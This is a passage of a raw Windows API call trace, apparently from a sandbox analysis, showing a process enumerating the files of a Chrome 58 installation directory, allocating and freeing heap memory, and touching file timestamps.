ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="")) returned 1 [0087.771] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0087.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.772] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="")) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.774] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0087.774] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="")) returned 1 [0087.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc0c8 [0087.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307930 [0087.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.775] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="")) returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc0e8 [0087.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307a38 [0087.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.777] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="")) returned 1 [0087.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc108 [0087.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307b40 [0087.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.779] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="")) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc128 [0087.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307c48 [0087.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.780] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="")) returned 1 [0087.780] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="")) returned 1 [0087.780] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="")) returned 0 [0087.780] GetLastError () returned 0x12 [0087.780] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.781] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db1d780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7db1d780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x744b1e7c, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x2f01758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x74ce3fd2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x73db0ff6, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe6e02b4, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff5b27e6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd7ed80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7dd7ed80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7553c382, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3953558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x75e2d09a, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76043186, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x86558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7638a542, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x94b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9a43f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="")) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="")) returned 1 [0087.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.782] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.782] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.783] NtClose (Handle=0x164) returned 0x0 [0087.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.784] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.786] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.786] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0087.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc148 [0087.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308068 [0087.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.788] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0087.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc168 [0087.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308170 [0087.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 1 [0087.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc188 [0087.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308278 [0087.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.791] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0087.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc1a8 